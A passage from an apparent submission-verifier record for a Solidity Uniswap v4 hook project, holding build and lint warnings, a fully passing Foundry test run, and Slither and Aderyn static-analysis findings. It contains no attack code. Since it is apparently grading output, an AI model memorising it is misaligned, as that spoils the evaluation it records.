INVARIANT_TOLERANCE_DIVISOR) + 4 * c.r * _maxScale;\n     │                             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1066:13\n     │\n1066 │         if (uint256(-f) > tolerance) revert InvariantViolated();\n     │             ━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'uint256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\n","passed":true},{"durationMs":1553,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 5 tests for test/OrbitalToken.t.sol:OrbitalTokenTest\n[PASS] test_fixedSupplyMintedToDeployer() (gas: 42018)\n[PASS] test_noMintOrAdminSurface() (gas: 52384)\n[PASS] test_transferFailures() (gas: 58450)\n[PASS] test_transferFromRespectsAllowance() (gas: 149978)\n[PASS] test_transferMovesExactly() (gas: 74832)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 1.02ms (685.04µs CPU time)\n\nRan 23 tests for test/Reactive.t.sol:ReactiveBreakerTest\n[PASS] test_bandMath() (gas: 30005)\n[PASS] test_callbackAdminAndPayment() (gas: 190160)\n[PASS] test_callbackConstructionAndHookBinding() (gas: 8261)\n[PASS] test_callbackFailsWhenNotGuardian() (gas: 181572)\n[PASS] test_callbackIgnoresOlderRounds() (gas: 342955)\n[PASS] test_callbackRefusesNonProxy() (gas: 42646)\n[PASS] test_callbackRefusesWrongRvmId() (gas: 190812)\n[PASS] test_callbackSkipsWhenAlreadyPaused() (gas: 188024)\n[PASS] test_depegPausesThePoolEndToEnd() (gas: 385574)\n[PASS] test_inBandPriceDoesNothing() (gas: 89804)\n[PASS] test_latchRequestsOneCallbackPerExcursion() (gas: 358180)\n[PASS] test_nonPositivePriceTrips() (gas: 176447)\n[PASS] test_ownerResumeIsNotUndoneByTheSameExcursion() (gas: 242793)\n[PASS] test_priceAboveBandAlsoTrips() (gas: 155378)\n[PASS] test_reactRefusesUnexpectedLog() (gas: 68777)\n[PASS] test_reactRunsOnlyInTheReactVm() (gas: 364879)\n[PASS] test_reactVmCopyFollowsTheRotatedAggregator() (gas: 224859)\n[PASS] test_reactiveConfigValidation() (gas: 6461)\n[PASS] test_reactiveNetworkCopyManagesSubscriptionsAndFeedRotation() (gas: 1052449)\n[PASS] test_reactivePaymentHooks() (gas: 118027)\n[PASS] test_reactiveSubscribeManagementIsNetworkOnly() (gas: 87019)\n[PASS] test_retryRequestsTheCallbackAgainWhileTheExcursionLasts() (gas: 875044)\n[PASS] test_withoutRetriesAFailedDeliveryIsFinalForTheExcursion() (gas: 740858)\nSuite result: ok. 23 passed; 0 failed; 0 skipped; finished in 20.40ms (5.02ms CPU time)\n\nRan 2 tests for test/OrbitalLiquidity.t.sol:OrbitalFrozenCoinTest\n[PASS] test_redeemClaimsFailurePaths() (gas: 1108557)\n[PASS] test_withdrawAndFeesDeliverHealthyCoinsWhenOneIsFrozen() (gas: 2380745)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 26.55ms (4.76ms CPU time)\n\nRan 1 test for test/OrbitalTicks.t.sol:OrbitalDeadlockRecoveryTest\n[PASS] test_interiorReopensOnThePinnedPlane() (gas: 7178534)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 30.59ms (8.78ms CPU time)\n\nRan 2 tests for test/OrbitalLiquidity.t.sol:OrbitalReentrancyTest\n[PASS] test_hookActionsAreNonReentrant() (gas: 2346866)\n[PASS] test_swapInsideFeePayoutIsRefusedAndStateIsConsistent() (gas: 2906051)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 56.37ms (4.68ms CPU time)\n\nRan 3 tests for test/OrbitalLiquidity.t.sol:OrbitalDustPoolTest\n[PASS] test_dustPoolDoesNotSkimLaterDepositors() (gas: 1749790)\n[PASS] test_fullExitClearsReservesSoTheNextPoolStartsClean() (gas: 1833943)\n[PASS] test_withdrawalLeavesAtLeastMinRadiusOrNothing() (gas: 768432)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 64.23ms (7.53ms CPU time)\n\nRan 2 tests for test/OrbitalPole.t.sol:OrbitalPoleTest\n[PASS] test_poleCoinIsPulledBackByTradesTowardsThePeg() (gas: 5716773)\n[PASS] test_tradeBetweenOtherCoinsCannotCarryAThirdCoinPastItsPole() (gas: 9224454)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 105.13ms (25.99ms CPU time)\n\nRan 2 tests for test/OrbitalPole.t.sol:OrbitalOffSurfaceTest\n[PASS] test_pointDeepInsideTheTorusFreezesSwapsNotWithdrawals() (gas: 1542920)\n[PASS] test_pointInsideByRoundingStillTrades() (gas: 1309766)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 153.98ms (4.44ms CPU time)\n\nRan 10 tests for test/OrbitalMath.t.sol:OrbitalMathTest\n[PASS] testFuzz_solveInInvertsSolveOut(uint256) (runs: 256, μ: 610548, ~: 625365)\n[PASS] testFuzz_solveOutLandsOnSphere(uint256) (runs: 256, μ: 321729, ~: 322583)\n[PASS] testFuzz_sqrtIsFloor(uint256) (runs: 256, μ: 1636, ~: 1647)\n[PASS] test_hookFlags() (gas: 592)\n[PASS] test_invariantZeroAtEqualPoint() (gas: 7631)\n[PASS] test_planeStepPicksTheRequestedImage() (gas: 15492)\n[PASS] test_planeStepStaysPutAtZeroShift() (gas: 4991)\n[PASS] test_solveOutRevertsWhenDrained() (gas: 41857)\n[PASS] test_sqrtN() (gas: 3533)\n[PASS] test_tickGeometry() (gas: 12606)\nSuite result: ok. 10 passed; 0 failed; 0 skipped; finished in 264.19ms (417.01ms CPU time)\n\nRan 31 tests for test/OrbitalHook.t.sol:OrbitalHookTest\n[PASS] testFuzz_exactOutMatchesQuoteAndCostsAtLeastPar(uint256) (runs: 256, μ: 1716157, ~: 1736047)\n[PASS] testFuzz_roundTripNeverProfits(uint256) (runs: 256, μ: 2157791, ~: 2315935)\n[PASS] testFuzz_swapKeepsPointOnTorus(uint256,bool) (runs: 256, μ: 1566202, ~: 1421940)\n[PASS] test_callbacksRefuseNonPoolManager() (gas: 177602)\n[PASS] test_concentratedTickNeedsLessCapital() (gas: 606680)\n[PASS] test_constructorRejectsBadConfig() (gas: 49457802)\n[PASS] test_depegIsolatesConcentratedLiquidity() (gas: 3384893)\n[PASS] test_depositRejectsBadInputs() (gas: 167867)\n[PASS] test_depositRespectsMaxAmounts() (gas: 180839)\n[PASS] test_feesAccrueToLpsAndAreCollectable() (gas: 1553969)\n[PASS] test_firstDepositOpensAtEqualPrice() (gas: 557427)\n[PASS] test_guardianCanPauseOnlyGuardian() (gas: 130777)\n[PASS] test_guardianCannotUnpause() (gas: 98888)\n[PASS] test_initializeNonBasketPoolIsPassThrough() (gas: 603748)\n[PASS] test_initializeRefusedWhilePaused() (gas: 605613)\n[PASS] test_initializeRegistersOrbitalPairs() (gas: 19217)\n[PASS] test_largeTradePinsTightTickAndUnpinsOnReturn() (gas: 2530959)\n[PASS] test_ownerAdmin() (gas: 256569)\n[PASS] test_passThroughPoolUsesPlainV4Liquidity() (gas: 1294658)\n[PASS] test_pauseBlocksSwapsAndDepositsButNotWithdrawals() (gas: 1742507)\n[PASS] test_permissionsMatchAddressBits() (gas: 16808)\n[PASS] test_roundTripNeverProfits() (gas: 1955490)\n[PASS] test_swapExactInNearPeg() (gas: 1832573)\n[PASS] test_swapExactOut() (gas: 1705431)\n[PASS] test_swapRevertsWithoutLiquidity() (gas: 134942)\n[PASS] test_swapSixDecimalsBothWays() (gas: 1946553)\n[PASS] test_swapTooLargeReverts() (gas: 618210)\n[PASS] test_v4LiquidityRefusedOnOrbitalPools() (gas: 69905)\n[PASS] test_withdrawEverythingLeavesOnlyDust() (gas: 1975865)\n[PASS] test_withdrawRejectsTooMuchAndSlippage() (gas: 653977)\n[PASS] test_withdrawReturnsDeposit() (gas: 1031114)\nSuite result: ok. 31 passed; 0 failed; 0 skipped; finished in 298.43ms (699.82ms CPU time)\n\nRan 3 tests for test/Deploy.t.sol:DeployBroadcastTest\n[PASS] test_deployUnderBroadcast() (gas: 13765348)\n[PASS] test_deployWiresEverything() (gas: 20884531)\n[PASS] test_mineSaltFindsMatchingAddress() (gas: 17950041)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 948.80ms (26.85ms CPU time)\n\nRan 3 tests for test/OrbitalTicks.t.sol:OrbitalReturnTradeTest\n[PASS] testFuzz_randomActivityKeepsTicksConsistent(uint256) (runs: 256, μ: 12194321, ~: 12288605)\n[PASS] test_returnTradeThroughPegUnpinsAndRepins() (gas: 5112132)\n[PASS] test_tickOnItsPlaneRejoinsAfterDepositNudge() (gas: 61185024)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 948.89ms (1.09s CPU time)\n\nRan 2 tests for test/Deploy.t.sol:DeployTest\n[PASS] test_deployWiresEverything() (gas: 20884209)\n[PASS] test_mineSaltFindsMatchingAddress() (gas: 17949980)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 964.97ms (26.23ms CPU time)\n\nRan 2 tests for test/OrbitalLiquidity.t.sol:OrbitalFullExitTest\n[PASS] testFuzz_everyoneCanLeaveAfterRandomActivity(uint256) (runs: 256, μ: 11627827, ~: 11570167)\n[PASS] test_everyoneCanLeaveAfterMixedActivity() (gas: 8301796)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 965.02ms (971.09ms CPU time)\n\nRan 1 test for test/OrbitalPole.t.sol:OrbitalPoleFuzzTest\n[PASS] testFuzz_noCoinIsCarriedPastItsPole(uint256) (runs: 256, μ: 20820318, ~: 21056275)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.45s (1.44s CPU time)\n\nRan 15 test suites in 1.45s (6.30s CPU time): 92 tests passed, 0 failed, 0 skipped (92 total tests)\n","passed":true},{"durationMs":64,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"OrbitalDepegCallback.depeg(address,address,int256,uint256)\",\"OrbitalDepegCallback.pay(uint256)\",\"OrbitalDepegCallback.receive()\",\"OrbitalDepegCallback.setHook(address)\",\"OrbitalDepegCallback.setRvmId(address)\",\"OrbitalDepegCallback.transferOwnership(address)\",\"OrbitalDepegCallback.withdraw(address,uint256)\",\"OrbitalDepegReactive.pay(uint256)\",\"OrbitalDepegReactive.react((uint256,address,uint256,uint256,uint256,uint256,bytes,uint256,uint256,uint256,uint256,uint256))\",\"OrbitalDepegReactive.receive()\",\"OrbitalDepegReactive.setFeed(address)\",\"OrbitalDepegReactive.subscribe()\",\"OrbitalDepegReactive.unsubscribe()\",\"OrbitalDepegReactive.withdraw(address,uint256)\",\"OrbitalHook.beforeAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"OrbitalHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"OrbitalHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"OrbitalHook.collectFees(uint256)\",\"OrbitalHook.deposit(uint256,uint256,uint256[])\",\"OrbitalHook.fallback()\",\"OrbitalHook.guardianPause()\",\"OrbitalHook.pause()\",\"OrbitalHook.redeemClaims(address,uint256,address)\",\"OrbitalHook.setFee(uint24)\",\"OrbitalHook.setGuardian(address)\",\"OrbitalHook.transferOwnership(address)\",\"OrbitalHook.unlockCallback(bytes)\",\"OrbitalHook.unpause()\",\"OrbitalHook.withdraw(uint256,uint256,uint256[])\",\"OrbitalToken.approve(address,uint256)\",\"OrbitalToken.transfer(address,uint256)\",\"OrbitalToken.transferFrom(address,address,uint256)\"],\"files\":{\".gitignore\":4,\"README.md\":453,\"foundry.toml\":23,\"remappings.txt\":3,\"script/DeployOrbital.s.sol\":103,\"src/HookFlags.sol\":37,\"src/OrbitalHook.sol\":1087,\"src/OrbitalToken.sol\":63,\"src/base/BaseHook.sol\":81,\"src/libraries/OrbitalMath.sol\":242,\"src/reactive/IReactive.sol\":56,\"src/reactive/OrbitalDepegCallback.sol\":115,\"src/reactive/OrbitalDepegReactive.sol\":207,\"test/Deploy.t.sol\":87,\"test/OrbitalHook.t.sol\":562,\"test/OrbitalLiquidity.t.sol\":391,\"test/OrbitalMath.t.sol\":174,\"test/OrbitalPole.t.sol\":271,\"test/OrbitalTicks.t.sol\":235,\"test/OrbitalToken.t.sol\":57,\"test/Reactive.t.sol\":599,\"test/mocks/CorruptibleOrbitalHook.sol\":23,\"test/mocks/HookableERC20.sol\":63,\"test/mocks/MockERC20.sol\":56,\"test/mocks/MockERC20Decimals.sol\":51,\"test/utils/BasketHarness.sol\":208,\"test/utils/OrbitalFixture.sol\":206},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":2501,"exitCode":0,"name":"slither","output":"[medium/medium] divide-before-multiply at src/OrbitalHook.sol:343: OrbitalHook._price(uint8,uint8,bool,uint256) (src/OrbitalHook.sol#343-368) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/OrbitalHook.sol:1010: OrbitalHook._toPlane(OrbitalHook.Level,OrbitalMath.Pair,OrbitalMath.Consolidated,bool) (src/OrbitalHook.sol#1010-1020) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/OrbitalHook.sol:1060: OrbitalHook._checkStart(uint256[],OrbitalMath.Consolidated) (src/OrbitalHook.sol#1060-1067) performs a multiplication on the result of a division:\n[medium/medium] reentrancy-no-eth at src/OrbitalHook.sol:415: Reentrancy in OrbitalHook.withdraw(uint256,uint256,uint256[]) (src/OrbitalHook.sol#415-468):\n[medium/medium] reentrancy-no-eth at src/OrbitalHook.sol:375: Reentrancy in OrbitalHook.deposit(uint256,uint256,uint256[]) (src/OrbitalHook.sol#375-408):\n[medium/medium] uninitialized-local at src/OrbitalHook.sol:836: OrbitalHook._interiorPoint(OrbitalMath.Consolidated,uint256,uint256,uint256,bool).uu (src/OrbitalHook.sol#836) is a local variable never initialized\n[medium/medium] unused-return at src/OrbitalHook.sol:375: OrbitalHook.deposit(uint256,uint256,uint256[]) (src/OrbitalHook.sol#375-408) ignores return value by poolManager.unlock(abi.encode(CallbackData({action:Action.Deposit,account:msg.sender,amounts:amounts}))) (src/OrbitalHook.sol#406)\n[medium/medium] unused-return at src/OrbitalHook.sol:522: OrbitalHook.unlockCallback(bytes) (src/OrbitalHook.sol#522-548) ignores return value by poolManager.transfer(data.account,c.toId(),amount) (src/OrbitalHook.sol#542)\n[medium/medium] unused-return at src/OrbitalHook.sol:492: OrbitalHook._settleFees(uint256,address) (src/OrbitalHook.sol#492-502) ignores return value by poolManager.unlock(abi.encode(CallbackData({action:Action.Withdraw,account:lp,amounts:amounts}))) (src/OrbitalHook.sol#499)\n[medium/medium] unused-return at src/OrbitalHook.sol:522: OrbitalHook.unlockCallback(bytes) (src/OrbitalHook.sol#522-548) ignores return value by poolManager.settle() (src/OrbitalHook.sol#531)\n[medium/medium] unused-return at src/OrbitalHook.sol:415: OrbitalHook.withdraw(uint256,uint256,uint256[]) (src/OrbitalHook.sol#415-468) ignores return value by poolManager.unlock(abi.encode(CallbackData({action:Action.Withdraw,account:msg.sender,amounts:amounts}))) (src/OrbitalHook.sol#466)\n[medium/medium] unused-return at src/OrbitalHook.sol:473: OrbitalHook.redeemClaims(address,uint256,address) (src/OrbitalHook.sol#473-483) ignores return value by poolManager.unlock(abi.encode(CallbackData({action:Action.Redeem,account:to,amounts:amounts}))) (src/OrbitalHook.sol#481)\n[medium/medium] unused-return at src/OrbitalHook.sol:473: OrbitalHook.redeemClaims(address,uint256,address) (src/OrbitalHook.sol#473-483) ignores return value by poolManager.transferFrom(msg.sender,address(this),uint256(uint160(token)),amount) (src/OrbitalHook.sol#478)\n[low/medium] missing-zero-check at src/OrbitalHook.sol:579: OrbitalHook.setGuardian(address)._guardian (src/OrbitalHook.sol#579) lacks a zero-check on :\n[low/medium] missing-zero-check at src/reactive/OrbitalDepegCallback.sol:53: OrbitalDepegCallback.constructor(address,address,address)._rvmId (src/reactive/OrbitalDepegCallback.sol#53) lacks a zero-check on :\n[low/medium] missing-zero-check at src/reactive/OrbitalDepegCallback.sol:109: OrbitalDepegCallback.withdraw(address,uint256).to (src/reactive/OrbitalDepegCallback.sol#109) lacks a zero-check on :\n[low/medium] missing-zero-check at src/OrbitalHook.sol:186: OrbitalHook.constructor(IPoolManager,address,address,address[],uint8[],uint256[],uint24)._guardian (src/OrbitalHook.sol#186) lacks a zero-check on :\n[low/medium] missing-zero-check at src/reactive/OrbitalDepegCallback.sol:90: OrbitalDepegCallback.setRvmId(address)._rvmId (src/reactive/OrbitalDepegCallback.sol#90) lacks a zero-check on :\n[low/medium] missing-zero-check at src/reactive/OrbitalDepegReactive.sol:201: OrbitalDepegReactive.withdraw(address,uint256).to (src/reactive/OrbitalDepegReactive.sol#201) lacks a zero-check on :\n[low/medium] calls-loop at src/OrbitalHook.sol:522: OrbitalHook.unlockCallback(bytes) (src/OrbitalHook.sol#522-548) has external calls inside a loop: poolManager.burn(address(this),c.toId(),amount) (src/OrbitalHook.sol#539)\n[low/medium] calls-loop at src/OrbitalHook.sol:522: OrbitalHook.unlockCallback(bytes) (src/OrbitalHook.sol#522-548) has external calls inside a loop: poolManager.settle() (src/OrbitalHook.sol#531)\n[low/medium] calls-loop at src/OrbitalHook.sol:522: OrbitalHook.unlockCallback(bytes) (src/OrbitalHook.sol#522-548) has external calls inside a loop: poolManager.take(c,data.account,amount) (src/OrbitalHook.sol#538-544)\n[low/medium] calls-loop at src/OrbitalHook.sol:551: OrbitalHook._claimBalance(uint256) (src/OrbitalHook.sol#551-553) has external calls inside a loop: poolManager.balanceOf(address(this),uint256(uint160(_tokens[k]))) (src/OrbitalHook.sol#552)\n[low/medium] calls-loop at src/OrbitalHook.sol:551: OrbitalHook._claimBalance(uint256) (src/OrbitalHook.sol#551-553) has external calls inside a loop: poolManager.balanceOf(address(this),uint256(uint160(_tokens[k]))) (src/OrbitalHook.sol#552)\n[low/medium] calls-loop at src/OrbitalHook.sol:551: OrbitalHook._claimBalance(uint256) (src/OrbitalHook.sol#551-553) has external calls inside a loop: poolManager.balanceOf(address(this),uint256(uint160(_tokens[k]))) (src/OrbitalHook.sol#552)\n[low/medium] calls-loop at src/OrbitalHook.sol:551: OrbitalHook._claimBalance(uint256) (src/OrbitalHook.sol#551-553) has external calls inside a loop: poolManager.balanceOf(address(this),uint256(uint160(_tokens[k]))) (src/OrbitalHook.sol#552)\n[low/medium] calls-loop at src/OrbitalHook.sol:522: OrbitalHook.unlockCallback(bytes) (src/OrbitalHook.sol#522-548) has external calls inside a loop: poolManager.mint(address(this),c.toId(),amount) (src/OrbitalHook.sol#532)\n[low/medium] calls-loop at src/OrbitalHook.sol:1083: OrbitalHook._safeTransferFrom(address,address,address,uint256) (src/OrbitalHook.sol#1083-1086) has external calls inside a loop: (ok,ret) = token.call(abi.encodeWithSelector(0x23b872dd,from,to,amount)) (src/OrbitalHook.sol#1084)\n[low/medium] calls-loop at src/OrbitalHook.sol:522: OrbitalHook.unlockCallback(bytes) (src/OrbitalHook.sol#522-548) has external calls inside a loop: poolManager.sync(c) (src/OrbitalHook.sol#529)\n[low/medium] calls-loop at src/OrbitalHook.sol:522: OrbitalHook.unlockCallback(bytes) (src/OrbitalHook.sol#522-548) has external calls inside a loop: poolManager.transfer(data.account,c.toId(),amount) (src/OrbitalHook.sol#542)\n[low/medium] reentrancy-benign at src/OrbitalHook.sol:375: Reentrancy in OrbitalHook.deposit(uint256,uint256,uint256[]) (src/OrbitalHook.sol#375-408):\n[low/medium] reentrancy-benign at src/OrbitalHook.sol:415: Reentrancy in OrbitalHook.withdraw(uint256,uint256,uint256[]) (src/OrbitalHook.sol#415-468):\n[low/medium] reentrancy-events at src/reactive/OrbitalDepegCallback.sol:65: Reentrancy in OrbitalDepegCallback.depeg(address,address,int256,uint256) (src/reactive/OrbitalDepegCallback.sol#65-80):\n[low/medium] reentrancy-events at src/reactive/OrbitalDepegReactive.sol:171: Reentrancy in OrbitalDepegReactive.setFeed(address) (src/reactive/OrbitalDepegReactive.sol#171-181):\n[low/medium] reentrancy-events at src/OrbitalHook.sol:522: Reentrancy in OrbitalHook.unlockCallback(bytes) (src/OrbitalHook.sol#522-548):","passed":true},{"durationMs":507,"exitCode":0,"name":"aderyn","output":"[high] storage-array-memory-edit at src/OrbitalHook.sol:647: Storage Array Edited with Memory (3 places)\n[high] unsafe-casting at src/OrbitalHook.sol:321: Unsafe Casting of integers (2 places)\n[low] centralization-risk at src/OrbitalHook.sol:566: Centralization Risk (13 places)\n[low] costly-loop at src/OrbitalHook.sol:392: Costly operations inside loop (5 places)\n[low] internal-function-used-once at src/HookFlags.sol:29: Internal Function Used Only Once (4 places)\n[low] large-numeric-literal at src/OrbitalHook.sol:38: Large Numeric Literal (5 places)\n[low] literal-instead-of-constant at src/OrbitalHook.sol:209: Literal Instead of Constant (25 places)\n[low] missing-inheritance at src/OrbitalToken.sol:9: Missing Inheritance\n[low] modifier-used-only-once at src/OrbitalHook.sol:161: Modifier Invoked Only Once\n[low] require-revert-in-loop at src/OrbitalHook.sol:392: Loop Contains `require`/`revert` (6 places)\n[low] state-no-address-check at src/OrbitalHook.sol:200: Address State Variable Set Without Checks (5 places)\n[low] state-variable-could-be-immutable at src/OrbitalHook.sol:93: State Variable Could Be Immutable (2 places)\n[low] storage-array-length-not-cached at src/OrbitalHook.sol:1077: Storage Array Length not Cached\n[low] unchecked-return at src/OrbitalHook.sol:388: Unchecked Return (9 places)\n[low] unsafe-erc20-operation at src/OrbitalHook.sol:542: Unsafe ERC20 Operation","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"0420154501c14973c66c60cfd92333debf8793e76ad894fd0b05d6e20ff4a096","verifiedTreeHash":"7c51f0514e22284888c6091090269e994fc62a3d","verifierVersion":"0.1.0+474349a3"},{"checks":[{"durationMs":9296,"exitCode":0,"name":"build","output":"Compiling 99 files with Solc 0.8.26\nSolc 0.8.26 finished in 8.88s\nCompiler run successful with warnings:\nWarning (8760): This declaration has the same name as another declaration.\n   --> test/invariant/OrbitalHookInvariant.t.sol:256:19:\n    |\n256 |     function pair(uint256 seed, bool flip) internal view returns (PoolKey memory key, uint8 i, uint8 j, bool z) {\n    |                   ^^^^^^^^^^^^\nNote: The other declaration is here:\n   --> test/invariant/OrbitalHookInvariant.t.sol:162:5:\n    |\n162 |     function seed(uint256 level, uint256 radius) external {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (8760): This declaration has the same name as another declaration.\n   --> test/invariant/OrbitalHookInvariant.t.sol:577:26:\n    |\n577 |     function togglePause(uint256 seed) external {\n    |                          ^^^^^^^^^^^^\nNote: The other declaration is here:\n   --> test/invariant/OrbitalHookInvariant.t.sol:162:5:\n    |\n162 |     function seed(uint256 level, uint256 radius) external {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\nwarning[missing-events-access-control]: `owner` is changed without an event but is used for access control\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:98:9\n   │\n98 │         owner = newOwner;\n   │         ━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-events-access-control\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:53:56\n   │\n53 │     constructor(address _callbackProxy, address _hook, address _rvmId) payable {\n   │                                                        ━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:79:9\n   │\n79 │         emit DepegPauseTriggered(feed, price, roundId);\n   │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:90:23\n   │\n90 │     function setRvmId(address _rvmId) external onlyOwner {\n   │                       ━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/reactive/OrbitalDepegCallback.sol:109:23\n    │\n109 │     function withdraw(address payable to, uint256 amount) external onlyOwner {\n    │                       ━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[unsafe-typecast]: typecast can truncate values\n   ╭▸ src/reactive/OrbitalDepegReactive.sol:93:39\n   │\n93 │         int256 tolerance = pegPrice * int256(bandBps) / 10_000;\n   │                                       ━━━━━━━━━━━━━━━\n   │\n   ├ note: consider disabling this lint if you're certain the cast is safe\n   │       \n   │       // casting to 'int256' is safe because [explain why]\n   │       // forge-lint: disable-next-line(unsafe-typecast)\n   │       \n   │       \n   ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/reactive/OrbitalDepegReactive.sol:106:24\n    │\n106 │         int256 price = int256(log.topic_1);\n    │                        ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/reactive/OrbitalDepegReactive.sol:150:9\n    │\n150 │         emit FeedUpdated(old, newFeed);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/reactive/OrbitalDepegReactive.sol:171:23\n    │\n171 │     function withdraw(address payable to, uint256 amount) external onlyOwner {\n    │                       ━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/libraries/OrbitalMath.sol:227:28\n    │\n227 │         if (b < 0) return (false, 0, 0);\n    │                            ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/libraries/OrbitalMath.sol:233:69\n    │\n233 │             if (-disc > sumAB * sumAB / int256(WAD) + 1e20) return (false, 0, 0);\n    │                                                                     ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/libraries/OrbitalMath.sol:239:36\n    │\n239 │         if (chosen < tMin) return (false, 0, 0);\n    │                                    ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/libraries/OrbitalMath.sol:240:17\n    │\n240 │         return (true, uint256(chosen), uint256(chosen - cShift));\n    │                 ━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:137:20\n    │\n137 │         int256 a = int256(alpha(s, sqrtNWad)) - int256(c.kb) - int256(c.r * sqrtNWad / WAD);\n    │                    ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:137:49\n    │\n137 │         int256 a = int256(alpha(s, sqrtNWad)) - int256(c.kb) - int256(c.r * sqrtNWad / WAD);\n    │                                                 ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:137:64\n    │\n137 │         int256 a = int256(alpha(s, sqrtNWad)) - int256(c.kb) - int256(c.r * sqrtNWad / WAD);\n    │                                                                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:138:20\n    │\n138 │         int256 b = int256(wNorm(s, q, n)) - int256(c.sb);\n    │                    ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: 